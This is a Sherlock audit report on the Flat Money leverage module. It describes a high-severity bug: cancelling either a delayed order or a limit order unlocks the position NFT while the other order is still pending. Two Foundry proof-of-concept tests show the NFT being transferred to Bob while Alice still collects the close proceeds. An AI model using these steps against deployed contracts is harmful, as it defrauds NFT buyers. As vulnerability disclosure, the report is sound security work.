shaka - `LeverageModule` NFT can be unlocked when there is a pending order

[sherlock-admin]

shaka

high

LeverageModule NFT can be unlocked when there is a pending order

Summary

When canceling a delayed order, the NFT representing the leverage position is unlocked even if there is a pending limit order, and vice versa.

Vulnerability Detail

When the owner of an NFT representing a leverage position announces a delayed close order, the NFT is locked so that it cannot be transferred to another address.

If the owner decides to cancel the close order the NFT is unlocked so that it can be transferred again.

The same logic is used for limit orders, where the NFT is locked on limit order announcement and unlocked on limit order cancellation.

The problem is that both kinds of orders are managed in different contracts and when canceling an order the NFT is unlocked even if there is a pending order in the other contract.

This means that the owner of the NFT can transfer the NFT to another address while there is yet a pending order over the position. This is especially dangerous in the case where the pending order is a delayed order, as in this case the recipient of the underlying tokens sent on the order execution is the address that created the order as it is not checked again the creator of the order is the owner of the NFT.

In the case the pending order is a limit order, the previous owner will not receive the underlying tokens, as they are sent to the current owner of the NFT. However, this is still an issue as the new owner has his position closed out of his will and possibly at a bad price. It is also important to mention that given that the limit order does not expire, it is very likely for this order to be executed at some point unless the new owner realizes the issue and cancels the order.

Impact

The owner of an NFT that represents a leverage position can sell the NFT and execute the close of the position, receiving also the underlying tokens (in the case of a delayed order) or having the position closed at a bad price for the new owner (in the case of a limit order).

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol#L458-L466

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L87-L97

Proof of concept

The following tests show the two cases mentioned in the vulnerability detail section. They can be added to the CancelDepositTest contract and run with forge test --mt testUnlockNftWithPending.

    function testUnlockNftWithPendingDelayedOrder() public {
        setWethPrice(2000e8);
        skip(120);

        announceAndExecuteDeposit({
            traderAccount: carol,
            keeperAccount: keeper,
            depositAmount: 100e18,
            oraclePrice: 2000e8,
            keeperFeeAmount: 0
        });

        // Alice opens a leverage position 
        uint256 tokenId = announceAndExecuteLeverageOpen({
            traderAccount: alice,
            keeperAccount: keeper,
            margin: 100e18,
            additionalSize: 100e18,
            oraclePrice: 2000e8,
            keeperFeeAmount: 0
        });

        // Announces a limit order
        vm.prank(alice);
        limitOrderProxy.announceLimitOrder({
            tokenId: tokenId,
            priceLowerThreshold: 1500e8,
            priceUpperThreshold: 2500e8
        });

        // Anounces leverage close
        announceCloseLeverage({traderAccount: alice, tokenId: tokenId, keeperFeeAmount: 0});

        // Cancels limit order, which unlocks the NFT, even though the delayed close order is still pending
        vm.prank(alice);
        limitOrderProxy.cancelLimitOrder(tokenId);

        // Alice transfers the NFT to Bob
        vm.prank(alice);
        leverageModProxy.transferFrom(alice, bob, tokenId);
        assertEq(leverageModProxy.ownerOf(tokenId), bob);

        skip(uint256(vaultProxy.minExecutabilityAge()));
        setWethPrice(2500e8);
        bytes[] memory priceUpdateData = getPriceUpdateData(2500e8);
        uint256 aliceBalanceBefore = WETH.balanceOf(alice);

        // Delayed order is executed. Alice receives the funds and Bob's NFT is burned
        delayedOrderProxy.executeOrder{value: 1}(alice, priceUpdateData);
        uint256 aliceBalanceAfter = WETH.balanceOf(alice);
        assertGt(aliceBalanceAfter, aliceBalanceBefore);
    }

    function testUnlockNftWithPendingLimitOrder() public {
        setWethPrice(2000e8);
        skip(120);

        announceAndExecuteDeposit({
            traderAccount: carol,
            keeperAccount: keeper,
            depositAmount: 100e18,
            oraclePrice: 2000e8,
            keeperFeeAmount: 0
        });

        // Alice opens a leverage position 
        uint256 tokenId = announceAndExecuteLeverageOpen({
            traderAccount: alice,
            keeperAccount: keeper,
            margin: 100e18,
            additionalSize: 100e18,
            oraclePrice: 2000e8,
            keeperFeeAmount: 0
        });

        // Announces a limit order
        vm.prank(alice);
        limitOrderProxy.announceLimitOrder({
            tokenId: tokenId,
            priceLowerThreshold: 1500e8,
            priceUpperThreshold: 2500e8
        });

        // Anounces leverage close
        announceCloseLeverage({traderAccount: alice, tokenId: tokenId, keeperFeeAmount: 0});

        skip(vaultProxy.maxExecutabilityAge() + vaultProxy.minExecutabilityAge() + 1);

        // Leverage close is executed, which unlocks the NFT, even though the limit order is still pending
        delayedOrderProxy.cancelExistingOrder(alice);

        // Alice transfers the NFT to Bob
        vm.prank(alice);
        leverageModProxy.transferFrom(alice, bob, tokenId);
        assertEq(leverageModProxy.ownerOf(tokenId), bob);

        setWethPrice(1500e8);
        bytes[] memory priceUpdateData = getPriceUpdateData(1500e8);
        uint256 bobBalanceBefore = WETH.balanceOf(bob);

        // Limit order is executed for Bob
        limitOrderProxy.executeLimitOrder{value: 1}(tokenId, priceUpdateData);
        uint256 bobBalanceAfter = WETH.balanceOf(bob);
        assertGt(bobBalanceAfter, bobBalanceBefore);
    }

Tool used

Manual Review

Recommendation

Before unlocking the NFT on order cancellation in DelayedOrder and LimitOrder, call the other contract to check if there is a pending order for the same NFT. If so, do not unlock the NFT.

Duplicate of #48

[sherlock-admin]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid: nothing like sell